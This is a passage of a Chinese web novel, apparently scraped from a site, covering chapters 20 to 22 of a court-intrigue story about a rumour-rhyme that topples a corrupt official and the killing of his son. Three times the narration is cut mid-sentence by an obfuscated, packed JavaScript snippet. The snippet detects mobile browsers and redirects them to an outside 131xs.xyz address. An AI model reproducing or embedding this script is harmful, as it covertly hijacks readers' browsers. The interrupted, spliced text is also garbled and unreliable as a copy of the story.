“您稍等。”妇人抬眸望去，只见一老道士已端坐桌前不停捋着须子。 他须发花白，身侧放着一柄桃木剑，腰间挂着数串铜钱与破旧符袋，与旁人迥然有别。 那老道士刚端起茶盏，旁边一桌的茶客便低声惊呼了一句：“咦，那不是前些日子预言通州暴雨的那位道长？” “哪个道长？” “就那白眉天师，通州暴雨前好几日他就放出预言，还被人当成疯子。” “真的假的？” “听说他会开天眼，说的话都灵得很。” 几人顿时往那边望去，小摊一下子热闹起来，有人忍不住扬起声调：“啧，真是他？这么大的本事，怎么跑到咱这儿来了？” 有个实在忍不住的，端着茶碗凑过去问：“道长今日可有预言？可有观到什么天象要变？” 白眉抬眼看了他一眼，笑眯眯地放下茶盏，道：“天象之事，岂是常人能懂？” 那人被他这一句唬住，正欲退开，又听白眉慢悠悠补上一句：“不过今儿个来，倒也不是全无因由。” 白眉捋着胡子，瞥了那人一眼，神神叨叨地叹了口气：“唉……我昨日夜里开了天眼，瞧见一场不详的凶象。” 那茶客惊得半蹦起来：“开天眼？！天师果然又有感应？！” 他声音本就洪亮，这一喊立刻引来周围桌上数人的侧目。 “什么？白眉天师又算出啥事啦？” “上回说通州要暴雨，结果一字不差！这回又是啥？” “凶象？哪儿的凶象？是要死人吗？” 几人你一言我一语，刹那间竟聚起一圈人来。就连街角挑担子的贩夫、店门口打盹的孩子都凑上来，纷纷探头张望。 白眉眯了眯眼，望着人越围越多，摸着下巴慢条斯理地喝茶，边喝边道：“昨夜星落西南，我得了几句箴言，隐隐指着一桩血光之灾。” 围观的众人听得心痒难耐，有个后生当即从怀里掏出纸笔，一把递到桌上：“天师，写下来罢，咱们这些粗人也好记一记。” “就是啊，您写一写，我回去给娘念念，她前几天还梦见水淹了炕呢！” “这年头，箴言比官话管用。” 白眉摇头笑了笑，仿佛推拒又忍不住装模作样地取了笔，蘸墨后在纸上慢悠悠写。 笔划落定，墨迹未干，就有食客迫不及待地凑过去，照着念了出来。 “一船银，写双账，一本真，一本谎。赤印郎，漕舟上，银没了，命也丧。高门笑，夜心凉，断竹篙，杜家亡。” “这说的是谁？” “杜家？哪个杜家？” 一时间议论纷纷，惊疑四起。 白眉却只是摇着蒲扇，闭目靠椅，一副天机已泄、不便再言的模样。 众人越念越顺口，一时间连巷口卖糖的老婆婆也歪着头听了两句，咂嘴说：“怪了，倒像小时候哄人睡觉的童谣。” 偏这时，店外两个孩子追逐着跑了进来，一个扎着羊角辫的丫头边跑边学着大人腔调喊：“高门笑，夜心凉！” 引得众人哄笑，另一个小男孩也跟着念了一遍。 “这孩子倒学得快！都能背下来了。” “你别说，这调子还真顺。但这话听着晦气……” 白眉只是慢悠悠地抿了口茶，神情安然。 风从西街吹过，将孩童的清唱、茶客的议论，一并带出茶铺，洇进长街深巷。 几个追逐嬉闹的孩童你一言我一语地接着唱下去，唱得街角卖馄饨的、挑担子的都停下了手中活计，侧耳听了听。 “断竹蒿，杜家亡！” “杜家亡！” 20. 风雨欲来 次日一早，羁押杜延庆的旨意就下了，京中一时哗然。 众人皆知通州州牧杜延庆贪赃枉法、上下通同罪行重大，即日押解进京，交由大理寺、刑部、御史台三司会审。 市井巷口、茶肆酒肆、胭脂铺子、当铺门前，无不有人驻足低语。 “听说了没？通州的那位杜大人，要被押进京城了！” “贪银子贪得太多了吧？” “早该治了！通州百姓活得苦哇。” “你们还记不记得昨儿西街那个白眉天师说的……” “对！‘赤印郎，银没了，命也丧’，是不是应了？” “那可不！杜家就有个赤印少爷，结果今儿圣旨一下，老子就要被押回京了。” “那童谣后头可还说了杜家亡呢。” …… 此时，国公府书房内冷如冰窖。 案几被掀翻在地，满室狼藉。 崔晋手拿那张传回的纸，眼里噙着滔天怒火，重重甩在崔时面前。 “你自己看！” 崔时手一抖，捡起纸张，看清上头那几句童谣。 “一船银，写双账，一本真，一本谎……” “这、这怎么……” “怎么传出来的？我也想知道！”崔晋怒喝一声。 通州那边他早就处理得干干净净，此番才敢设局，可双账的事怎么就传得人尽皆知了？ “只怕有人早就盯上了我们。” 他踱至窗前，沉默半晌终于冷静下来，细想到底是谁有如此算计。 魏恪第一个跃入脑海。 此人向来寡言沉稳，陛下偏又赏识，在御史台一次次清理他的人。 要说此童谣是他借民意之势，倒也说得通。 可他转念一想，又否了。 魏恪查案向来一板一眼，若真知帐本是假又怎会赶着送进宫？ 朝中敢逆他的人没有几个。 不管是谁在背后阻挠，他都要揪出来，叫他们死无葬身之地。 “你查过没有？那童谣最早，是从哪儿传出来的？” 崔时被逼得额头见汗：“是从西街那边传出来的，一家叫福顺茶铺的地方。” “说清楚。” “有个老道士，在茶铺说自己开了天眼，还写了几句预言，之后茶客们一传十、十传百，就传开了。” “老道士？装神弄鬼的玩意，也敢搅我的局？” 崔时低头不语，只道：“那道士近来常出没西街，说是游方术士，听人都叫他白眉天师，孩童都认得他，茶铺老板也与他熟。” “那现在人在哪？” “我派人去找了，可没找到……” “走了？”崔晋咬牙冷笑，“那就把那家茶铺的老板带回来审！” 崔时咽了口唾沫，连声应是。 “等等……” 崔晋目光落在那张纸上，又将童谣细细看了几遍。 赤印郎？命也丧？ 不好，他们要对杜延庆的儿子下手！ “加派些人手去通州，务必护住杜绍成。” - 书房大门紧闭了一整日。 崔晋未踏出半步，坐在书案前眉头紧锁，崔时站在一旁不敢喘气，听着父亲来回咀嚼着每个可能的敌手，脑中却空白一片。 “老爷一日未用膳？” “是，二少爷一直陪着。”丫鬟答。 庄氏不是没想过亲自送些去的，可书房那动静，她去了也不过平添一场雷霆。 她当然知道朝中出了大事，但无论何事只要发生在崔府之外，她便连过问的权利都没有。 崔晋向来看不起她。 以为她不过是靠了几分姿色嫁进国公府，对她笑时温言软语，动起怒来，却也能当众将她掀翻在地，眼里没一分怜惜。 她心里早就凉透了，可面上仍是对他百般体贴。 那是她这些年修得最深的本事：忍。 朝堂之事她管不着，那内宅纷争的手段她必须好好掩住。 “西街那家茶铺查得怎么样了？”她问。 眼尾有痣的女人她记得，是当年安插在李含云身边的小丫鬟。事成之后她本想斩草除根，没想到让那丫头竟鬼使神差地逃了，多年过去居然摇身一变成了个茶铺老板娘。 崔莞言是如何得知她的存在的？她难得已经知道了当年的真相？ 桃枝那句话提得未免太巧，分明是崔莞言使了心机，借桃枝的嘴提醒她，故意让她心惊。 是警告，还是挑衅？ 心腹丫鬟靠近低声道：“昨日奴才按您的吩咐，派了府里的老嬷嬷去西街茶铺看了一眼。只说人多眼杂，瞧得不真切未敢久留，可今日再去时，那茶铺竟被官府查封，老板和老板娘今早天不亮就被人带走了。” 庄氏一怔，忽得有些心慌。 是谁？到底是谁把人带走了？ 李含云还是崔莞言？ “快派人去查！” 她不能让当年的事情败露，否则李含云和皇后不会放过她。 - 午后阳光正烈，南院却凉风徐徐。 青禾匆匆走进来。 “小姐，那家茶铺……被查封了。” 崔莞言掀眸：“何时的事？” “今日一早，听说连老板娘也被带走了。” 果然动手了。 她原本还以为崔晋要多撑几日，没想到这就坐不住了。 她垂下眼，掩去眸中冷意。 茶铺老板娘被掳，百姓愈发传得起劲，只会更认定童谣不假。 不只崔晋慌，庄氏也该坐立难安了。 她靠坐在竹榻上，唇角缓缓勾起。 一石二鸟，才是好局。 “小姐，那首童谣传得很快……奴婢今儿出门采买，才走几条街就听了三四处在说，照这样下去，怕是用不了几日，就要传遍整个大夏了。” “挺好。传得越快越广，越闹腾，才有趣。” 崔莞言慢悠悠地理着衣裳，目光落在院中忙碌着的柳枝身上，转头对青禾道：“桃枝的差事已做得差不多了，该送她走了。” “送走？送去哪？” 青禾不明白主子的意思，可柳枝却已了然。 送去哪？自然是和张嬷嬷一样，送上西天。 “花园的那个池子倒是个风水宝地。”崔莞言笑道。 府内近日人多眼杂，她不想脏了自己的手，只等着那位点头，让柳枝找个时机动手，自己也好乐得清闲。 阳光愈发刺眼，她起身移步入室。 屋外忽然起风，风中竟裹着些沙尘，打在窗子上沙沙作响。 傍晚天色昏暗，整座上京城都笼罩在灰幕中，狂风呼啸而过，一路吹向北边。 通州郊外的荒道上尘土飞扬，四下俱寂，只余囚车碾过石子的声响。 几只乌鸦落在光秃的枯枝上，突然发出几声喑哑的怪叫，惹得囚车内的杜延庆很是不快。 官兵见他颦了眉，忙凑近低声说：“大人暂且忍一忍，到了歇脚的地方我就放您下来。” 杜延庆没说话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039917|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只略略抬了抬眼皮，眼底阴翳沉沉。那兵卒顿时低下头，连大气也不敢再喘。 说是押犯人，到头来他还得一路伺候。 临行前头儿就悄悄吩咐了，这一路要好生“照应”着，别让他受了什么不该受的委屈。 官兵们心里明白，上头有人保这杜延庆。 于是吃的用的，都悄悄换了最好的，夜里宿营连火堆都给他升得最旺。若不是身穿囚服、锁了镣铐，旁人看了，还以为是哪位大人升迁进京了。 赶了几天路，烈日悬空闷得厉害，几名官兵满头大汗，有人偷偷解了半边甲胄，抹了把额角的汗道：“再这样赶下去，只怕杜大人还没进京就得在路上病了。” 领头的踌躇片刻，终还是招呼道：“前头路口有处歇脚摊子，让车停一刻，歇一歇。” 摊子是本地人搭的小棚，卖点瓜果凉水，也顺道给过路人歇脚。老板是个中年汉子，正打着赤膊扇风，旁边几个小孩围着水缸蹲着玩，叽叽喳喳笑个不停。 没一会儿，那几个孩子吵吵闹闹地跑开了，光着脚在黄尘里疯跑，边跑还边唱着什么：“一船银，写双账，一本真，一本谎。赤印郎，漕舟上，银没了，命也丧……” 几个官兵听了不以为意，只当是寻常童趣，“唱得倒是押韵，哪里学来的？” “这几日附近的孩子都在唱，听说是从上京一个道士口中传出来的，说是天机叻，孩子们只学了一半。”中年汉子笑道，又给官兵捧出一大盘蜜瓜，“这瓜可甜了，官爷们慢用。” 官兵们边吃边笑，孩子们仍在一旁唱。 那调子一字一句，落在杜延庆耳中，却像刀子般扎进心头。 他原本合着眼养神，骤然睁开，眸光凌厉。 偏这时，那几只一路跟着的乌鸦忽然炸了窝般大叫，扑棱着翅膀从树枝上飞起，汉子也嫌晦气，拿着苕帚去赶，乌鸦四处乱飞最后竟落在囚车上，汉子便不敢靠近。 乌鸦是不详之兆。 杜延庆心想，此次设局计划周密，怎么可能泄漏出去？可那童谣听着分明像是有人早就知道他们的谋划，故意放出的风声。 小道消息尚可遮掩，可传唱成谣，终会在天子的耳边越传越响。 赤印郎说的不就是绍成？崔晋说过会安排人护杜家老小，他们是一条绳上的蚂蚱，应当不会背弃。 杜延庆强迫自己闭上眼，可掌心却早已汗湿。 “不会有事的。”他在心底反复低语。 风声未歇黄尘迷眼，远处天边一线阴沉，暴雨将至。杜延庆心跳得极重，仿佛那雨是冲着他杜家来的。 不知绍成躲在庄子里可还安好？ 此时通州城早已被雨幕笼罩。 街市上空无一人，地上的积水早没过脚踝，街角积满泥污，连野狗都不再游荡。 灰蒙一片中，整座城似被死气锁住。 可与城中沉沉死寂不同，十里之外的庄子却热闹得很。 雨声被雅乐遮掩，杜绍成赤裸着上身，懒倚在软榻上，一手持盏，一手揽着香肩，怀中女子轻笑柔语，娇态百出。 “再饮一杯，少爷。”女子捧盏贴近，娇声如燕。 杜绍成哧笑一声，手掌顺势拍上那纤腰，“把爷伺候好了，赏银少不了你的！” 说着，他抓起一大把银子扔出去，惹得众人疯抢。 舞姬笑如银铃，曲子越发轻快，不知哪家的官宦子弟也一并在座，举杯交错间皆是一副太平盛世的模样。 杜绍成仰头饮尽杯中酒，眉眼轻浮：“你们说我爹是不是吓坏了？” 21. 丧子之痛 “咚——咚——咚——” 清晨未及申时，京兆府外便响起三声沉闷鼓响，数名衙役奔出门廊，守门的差头皱眉：“大清早谁在此喧闹？” 门前跪着一老一少，老者头发花白须发蓬乱，一身粗布袍子被雨水打湿，面上青一道紫一道，额角有皮破血痂。 他身旁的少女骨瘦如柴面色惨白，身上披着一件不合身的粗布斗篷，裸露在外的手腕上满是鞭痕，脚上的鞋已开裂。 “草民赵贵状告通州州牧杜延庆之子杜绍成，强抢民女、逼婚害命！求青天大老爷做主啊！”老者一嗓子喊完，跪地拜了又拜。 不远处已有路人停步围观。 “怎么这么早就有人鸣冤？” “又是杜家？” “父亲贪赃枉法，儿子草菅人命，啧啧……这杜家当真该死！” 街口渐聚起人群，虽不敢靠近府门，却都悄声议论。 跪在门前许久，少女早已撑不住，被人架着才没栽倒在地。 赵贵正欲再敲，门吱呀一声开了。 来人未至，声先落：“将人带进堂来。” 赵贵搀着女儿刚走进去，便见堂内坐着一名青衣官人，年不过弱冠却极沉稳，面色温和无半分威压。 衙役在旁悄声说：“那是京兆府少尹，沈霆之沈大人。” 接着就听那人之温声开口：“二位可是击鼓鸣冤的赵氏父女？” 赵贵连忙俯身：“是，小人赵贵，这是犬女赵巧儿。” 沈霆之点了点头，目光落在少女赤着的那只脚上。 这二人一路定是受尽了苦难，他吩咐道：“去取些吃食，再拿两套干净衣裳。” 赵贵一听眼眶顿红，连连叩头道谢声声带泣。 赵巧儿也被女役带去换衣裳、擦洗包扎，一碗米粥入口，方才缓过气来。 等二人吃饱穿暖后，又被带回堂前听审。 赵贵跪在地上，一点一点讲述自己一家从通州逃来上京的经过。 他家本是贫寒农户，巧儿自小在戏班子学唱，因相貌出挑、琴艺尚佳，在酒楼弹琵琶糊口。数月前，杜绍成赴席饮宴，见她容貌起了歹心，派人上门抢强，欲将她纳入府中为妾。 赵贵虽贫却也不是没骨气之人，与长子拼命拦住来人，不曾想厮打中儿子被人一脚踹下河堤当场毙命，妻子悲痛欲绝，不久亦病亡。 赵家尚未从接连丧亲之痛中缓过神，杜绍成又派人放话，要赵巧儿亲自上门“谢恩”，否则便剁下她爹的手送她瞧瞧。 父女二人不愿屈于淫威，只得连夜逃离通州，沿途乞讨直至京城。 赵贵言辞恳切，说着便拿出杜绍成当初赏给巧儿的玉佩为证，更言杜绍成在通州多年为祸一方，糟蹋良家女子者众，百姓们伸冤无门只能含泪忍下。 听了这一席供词，京兆府内顿时无声，而勤政殿中却已掀起滔天怒意。 皇帝合上案卷，命人道：“好一个无法无天！杜绍成，即刻缉拿，押解进京！” 通州上下蛇鼠一窝，这等事能拖到今天，靠得何止是地方官的遮掩？ 上京呢？ 他垂眸片刻，余光扫过案后的花盆。 春白开得极盛，香气正浓。他俯身细看，却见根部已松，细小虫蚁正从盆底爬出。 花虽好，根已空，还能艳几天呢？ 唯有翻盆一法了。 - 连日下雨，通州全城俱寂。 唯有远郊一处庄子，屋内笙歌不歇、灯火通明。 大雨滂沱，庄外聚着一圈人，有人撑伞张望，有人冒雨站立不肯挪步。 路人见状不解问道：“这大雨天，你们在这儿候什么？” 一人笑道：“等赏银呢。” “听说庄里住了位少爷，喝多酒就撒钱。昨儿才有人捡了整整一锭银子！” “谁晓得今儿运气落谁头上。” 那路人听罢也跟着站在檐下张望。 正抬头间，庄内传出一阵惊叫，紧接着屋门猛然被人推开，舞姬乐师跌跌撞撞地跑出来，满脸惊惶。 “都滚！” 几名壮汉手持兵刃将人驱赶，围观众人也惊吓着逃开。 屋内酒气冲鼻，杜绍成瘫在榻上，听见吵闹声挣扎着抬头，一看来人不是熟面孔，便冷笑一声吐字含混：“你他娘的是谁……搅老子好梦……知道爷是谁吗？” 他踉跄着扑来指着来人咆哮：“这里是通州，爷说了算，给我滚！” 领头的男人站在原地不动，只静静看着他发疯一般挣扎叫骂，眼中没有半点波澜。 等他骂得口干舌燥，脚下一滑摔坐在地才出声：“还想多活几天就闭嘴。” 杜绍成虽摔得狼狈，嘴上却仍不肯饶人，那男人似是烦了，快步靠近一掌将他打晕。 如此反复，倒也安生了几日。 直到第五夜，风止雨歇。 门外的守卫刚打着哈欠，几道黑影便如鬼魅般自檐下掠过，守卫连声都未发出便倒地毙命。 其余守卫骤然惊觉拔刀围攻，却哪里敌得过训练有素的死士。 不过数息，院中鲜血横流。 推门入内，杜绍成醉得浑然不觉，半倚在榻上胡乱咕哝，刀锋落下时他还未睁眼，待他醒来只觉浑身剧痛，想喊却发不出声，血涌出喉咙剩破碎喘息。 暗卫毫不留情，一刀接着一刀，皆落在胸腹要害，不给半点生机。 眨眼间，榻上被鲜红浸透。 杜绍成死时睁着眼，眼白几乎全翻出来，脸色青黑扭曲如鬼，褥子被捅出十数个血洞。 见他咽气，暗卫收刀退开，将屋中一切能燃的帷幔、酒具、木案打翻，泼上油脂点燃火折。 尸体在火焰中渐渐卷曲焦黑，那张曾骄狂放肆的脸，也在烈焰里迅速化作灰烬。 烟雾飘得极高，随风势南下，宛若无声的丧钟，一路飘向上京。 谁都没想到，抓捕杜绍成的圣旨还没到，他就死了。 百姓们都说是应了童谣。 正那时，杜延庆的囚车刚进上京城门，人未落地，通州庄子一夜被焚、杜绍成已葬火中的消息便已传入耳中。 “你再说一遍！谁死了？！” 杜延庆双眼猩红，抓着囚车栏杆拼命摇晃，嘶吼道。 怎么会这样，绍成明明在庄子上躲得好好的，怎么就死了呢？ 雨水顺着鬓角流下，泥污溅了满身，他却连眼都不眨，只是一遍遍地猛撞栏杆，像要从这铁笼中挣脱出去。 他知道这个儿子不争气，可却是他唯一的血脉，纵有千万般错，也不该落得尸骨无存的下场。 他忽觉胸口一阵钝痛，像是被人生生剜去了一块，那童谣在耳边回荡：杜家亡、杜家亡。 不是巧合，绝不是巧合。一定是有人要害他们！ 这些年来，他在通州替崔晋办了多少事、挡了多少风，早就拴死在一块。崔晋曾说过，只要他入局，便会护他一家老小平安，日后更有享不尽的荣华富贵，可如今呢？没这本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063599|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事，何必许重诺？ 囚车渐远，杜延庆嘶吼声终于没入京道上的车马喧嚣中。 而在皇城另一隅，崔莞言正坐在轿中，掀帘望了一眼天色。 青禾也探了探脑袋，道：“雨停了，沈小姐邀您好几回，今日总算能去。” 崔莞言点了点头，“我也有些日子未见她了。” 沈明宜性子跳脱又喜清谈吟诗，前些日子便三番两次传帖邀她小聚，只因连日阴雨她未能成行。如今天光转晴，是时候走这一趟了。 约莫一盏茶功夫，轿子在忠义侯府前停下。 一路前行踏入偏厅，只见沈明宜独坐几案前，捏着一截狼毫皱眉凝思。 她听见动静立马放下笔道：“你可算来了，再不过来，我就要憋出病了。” 崔莞言被她语气逗笑：“怎么，今日兴致不高？” 沈明宜撇撇嘴，把宣纸推给她：“写了两句上阕，可一直对不出满意的下半阙，烦得很，要不你帮我看看？” 崔莞言看了一眼纸上笔迹却将纸推开了，“我琴棋书画样样不精，若硬要对出个下阙，只怕有辱清雅之境。你不如先歇一歇，换个心情，说不定转头就写出来了。” 沈明宜终于笑了一声：“你倒像个劝学先生。” 她索性不再提诗的事，挽起崔莞言的手：“算了，陪我走走吧，再坐下去我就要把那张纸撕了。” 侯府占地不小，后园里花木繁盛，两人一边沿着游廊缓步一边闲聊，沈明宜兴致转好，还带她去看了新栽的一株玉兰，待逛了一圈，两人回了屋中，仆从早备下茶点。 两人就这样坐着说了会儿话，直到斜阳西落，有丫鬟掀帘禀道：“小姐，少爷回来了。” 沈明宜眼睛一亮，当即拉起崔莞言的手：“走，正好带你认识我哥哥。” 崔莞言闻言一笑，未言语。 来的正好，她等候多时了。 前头沈明宜已雀跃地掀帘而出，崔莞言不紧不慢起身，整了整衣袖才步出屋门。 一抹青衣身影已立在廊下，那人约莫二十出头，身形修长挺拔气质温润，尤那一双眼睛总是带着笑意。 “哥哥，这是我的好友崔莞言，我早就说要让你们见见。” 沈霆之目光落在崔莞言身上，随即拱手作揖，“久仰崔小姐大名，小妹常提起你，今得一见果然不凡。” 崔莞言也还了一礼。“沈大人客气了。” 二人只是寒暄几句，沈明宜却在旁笑得促狭，道：“好了好了，你们别一个叫小姐一个叫大人的，拘谨得很，今日是来玩的，又不是在公堂上。” “哥，你不是说要查一桩案子，这几日忙得连家都不回，今日也歇一歇，陪我们一块喝口茶。” 沈霆之摆了摆手，“别提了，犯人还没押进京就死了。” 崔莞言眸光闪动，不动声色地掩去嘴角的笑意。 杜绍成可算是死了，这会儿杜延庆该痛彻心扉，崔晋也该不安了。 她余光掠过沈霆之的侧影。 同是正直，他与魏恪截然不同。 魏恪骨子里藏锋，即便笑着应对，气势也逼人。可沈霆之不一样，出身侯门身负官职，本该惯了矜持清傲，但举止却不带半点咄咄逼人之气，反而多了几分世家子弟少见的随和与风趣。 言语不苟却句句得体，审案严明却不失温情。 她方才初见他与沈明宜相处，便瞧出他是个真心疼爱妹妹的人。 这样的人……可成为局中的助力。 22. 狭路相逢 与沈霆之有一句没一句地聊着，沈明宜看他们的眼神愈发不对劲，不知脑中在思量些什么，傻笑了几声，道：“莞言姐姐，要不你就随我喊他哥哥好了，这样才亲近。” 沈霆之也随口应道：“既是明宜的朋友，喊我哥哥倒也无妨。” 兄妹二人都有双极亮的眼睛，眼神齐齐落在崔莞言身上。 “那我以后便喊你……霆之哥哥？”崔莞言说罢低下头，似是有些不好意思，却偷偷朝青禾使了个眼色，青禾当即会意，悄悄走出去。 沈明宜听了她这声称呼，顿时笑得眉眼弯弯，眼角藏不住的兴奋，沈霆之倒颇大方，神色如常：“若不嫌弃，我便也喊你一声妹妹。” 崔莞言点了点头道：“天色不早，我该走了。” 可这时青禾突然慌慌张张跑进来，连气都顾不上喘：“小姐，马车的车轱辘断了，马夫说一时半会儿修不好，怕是回不去了。” 崔莞言眉头一蹙站起身来，略有些为难：“这可如何是好……” 沈明宜眨了眨眼，还未开口，沈霆之已放下茶盏，“我正巧要出门送几封文书，顺路将你送回去便是，不知莞言妹妹可愿？” “那便有劳了。” 沈明宜在旁看着两人，一双眼睛笑得眯成了月牙，感叹一句：“今儿这天，真是太合我心意了。” 与她道别后，崔莞言先一步踏入马车，掀帘时回头看了眼四下，见无人注意，这才迅速从袖中抽出一封油纸包好的密信，藏入车厢一侧的缝隙中，而后重新坐正，神色淡然。 片刻后，沈霆之也登车而入，见气氛沉闷，他打趣道：“今日明宜叨扰你来，回去路上倒还要再劳你陪我一程。” “说起来，应当是我叨扰了你才是。”崔莞言柔声回道。 马车驶出沈府，平稳地穿行在市井之间。 街巷正值人多时，行人来来往往，吆喝声、笑语声此起彼伏，车轮辘辘声中，前方一阵嘈杂。 一队身着劲装的快马从巷口飞驰而出，竟与马车正面冲来！ 马夫骤然勒马，车身猛地一震险些侧翻，崔莞言伸手扶住车壁，沈霆之已本能探身护在她侧。“小心！” 崔莞言稳住身形，抬手掀起一角车帘。 快马骤停在马车前不过一丈之距，方才的撞势分毫不差地收住，正是为首那人惯有的凌厉风格。 她倏然垂眸，遮住眼底的波澜。 沈霆之已下车几步，朝那人拱手：“原是周王殿下。” “此地街巷逼仄人行拥挤，王爷纵有急务，也该顾及旁人安危。方才若非车夫手快，马车怕已翻覆。” 褚元唐视线掠过车轼，隔着帘布便已认出车内坐着的那人，她目光灼灼也正看他。 “京兆府的马车，何时也开始接送旁人了？” 车上那“旁人”闻言当即掀帘下来，一声娇唤：“霆之哥哥。” 褚元唐握着缰绳的手攥得愈发紧了，抬眼望去，最后一抹霞光正好落在她身上。 她一身浅紫织罗衫，发间只簪一枝素银，未着华饰，却衬得肤白如雪，清丽如杏花新绽。 从前在王府，她从不穿这般艳丽的颜色，也从未如此娇声唤过他。 哥哥？国公府什么时候多了一个儿子？ 他下意识屏息敛了神色，眸中那点惊艳只一瞬即逝，继而唇角勾起讽意。“崔小姐也有什么冤屈要诉吗？竟劳得京兆府亲自送回府？” 崔莞言朝他恭敬一礼，走到沈霆之身旁与之并肩。“冤屈倒是没有，只是去沈府拜访，霆之哥哥好意相送，怎的王爷这般大惊小怪？” 似是平常的话语，其中的暗潮汹涌沈霆之却看得分明，“莞言不过是来找舍妹小聚几日，正好顺道，我送她一程，倒也不算违制。” 褚元唐却像没听见似的，依旧看着马车前的少女，片刻后忽然冷笑了一声，眼底渐渐攀上愠色，“浅紫虽雅，并不称你。” 沈霆之回道：“可我倒觉得，这身颜色正好，衬人清雅，是我见过最合适不过的。” 崔莞言未答话，只与沈霆之相视一笑，眼见褚元唐的怒火就要藏不住了，她却笑得愈发灿烂。 褚元唐薄唇紧抿分明想说什么，却没再应声，只转过马头，那几名骑士随之扬鞭离去，蹄声杂乱很快隐没在市巷尽头。 世间路千万条，偏那一段她愿随他风雨兼程的路，他早已错过。 她回身上车，沈霆之紧跟着坐定，看她一眼，道：“你与周王殿下，是识得的？” “宫宴上见过一回罢了，大抵是王爷记性好。”崔莞言答。 “原来如此。” 沈霆之不再追问，心里却想周王方才的神情，分明是某种过界的怒意。 看来二人渊源不浅。 不多时，马车在崔府门前停下。 崔莞言道别后转身走进去。 院中灯盏已燃，本该是下人最忙碌的用膳时辰，府里却静悄悄的，连脚步声都听不到。 想来，热闹都在书房里了。 她脚步未停走过前廊，远远便听见书房方向隐隐传来几句骂声，似乎有人在摔东西。 她立在廊下听了一耳，果然是崔晋正在发火。 “老爷，您消消火。”庄氏在旁温声相劝。 崔晋仍是怒意未减，一把甩开庄氏的手。 他想不明白，事情怎么会走到这一步？像是一开始就被人设了局，步步陷落。 杜绍成在通州的风流事，他明明早已叫人善后，竟还有漏网之鱼一路追到上京来告御状，这下杜延庆无论如何都脱不了干系。 如今杜绍成又死得蹊跷，杜延庆对他的信任，怕是已经裂开一道缝。诬陷魏恪的局事小，杜延庆能不能守口如瓶，才是关键。 偏偏他身边净养了些废物，连从小寄予厚望的崔时也只会惶惶不安，半点主意拿不出。再看那庄氏，还在他眼前晃悠，一副装模作样、哭哭啼啼的模样，更叫人心烦。 崔晋拂袖起身，一脚踹翻身旁的椅子，怒声道：“都给我滚！” 庄氏吓得一哆嗦：“老爷……您最该稳住的时候，可万万不能乱了分寸啊。” 稳？他怎么稳？ 前有童谣四起、后有杜家将崩，如今满京城风声鹤唳，偏偏那个魏恪还活蹦乱跳，一点破绽都不肯露。若杜延庆再有半点迟疑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076352|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这十几年的经营，恐怕要毁于一旦了。 庄氏未离去，轻声试探道：“老爷，妾身有一言，不知当讲不当讲……” “说。” “老爷，若是杜大人如今信不过您，不如换个法子。杜绍成那孩子虽不中用，可杜大人到底是将他当命根子看的。如今死得这般突然，他一时难消这口气也正常。” “可若有人告诉他，杜绍成在外头……还留了个血脉呢？” 崔晋皱眉，眯起眼看她。 “风流惯了的男人，在外头留个遗腹子也不稀奇，要让杜大人知道，只要他继续与我们一条心，他杜家就不会绝后。” 崔晋盯着庄氏看了片刻，眸色幽暗莫测。 这女人在后宅跟李氏争斗了这些年，虽然上不得台面，可到底是从一堆鱼虾里活下来的，手段还是有些的。 说到底，她不过是个争宠的小妇人，哪怕偶尔想出法子，也不过是因贪生怕死、苟且求全罢了。 可话虽如此，她方才那番话，却不失为一条出路。 敛去眼中轻蔑，他背过身负手踱了两步，走上前拉起庄氏的手，道：“你这主意不错。府里，还是玉容最可心。” 庄氏听得心头一跳，明知他这几句不过是顺水推舟的虚言，却仍眼圈一红，顺势依偎进他怀里，轻轻扯了扯他的衣袖，声音又软又低：“老爷若真觉得妾身可心，往后……莫要总冷落妾身才是。” 崔晋没作声，只抬手抚了抚她的发，动作称得上温存，眼神却早已飘远。 庄氏趁机又道：“如今外头都乱作一团，百姓人心惶惶，若再强留那些无辜人家难免叫人起疑。既然查不出是从哪里传出的，不如趁势将那些人放了，也能平息些风头。” 崔晋听罢，眼底寒意一闪。“你倒是越发能替我做主了。” 庄氏脸上笑意僵住刚要解释，却见他已松开她的手退后半步，转身背对她。“后宅的事你管就是了，这些外务不必你来掺和。” 庄氏咬了咬牙，却不敢再多言，只得压下心中不甘，应了声“妾身知道”，低头退了出去。 走出书房时她瞬间换了副脸色。 以崔晋的心性，就算知道那茶铺夫妻无辜，也绝不会轻易放过。若那女人为了保命，吐出几句当年旧事，她便彻底危险了。 她得先一步确认，人到底关在哪。 - 夜色沉沉，屋内只点了一盏灯，灯焰映在铜镜中，照出少女静坐的身影。 崔莞言倚在榻侧，心绪纷杂。 那封信，沈霆之应当已经看到了。 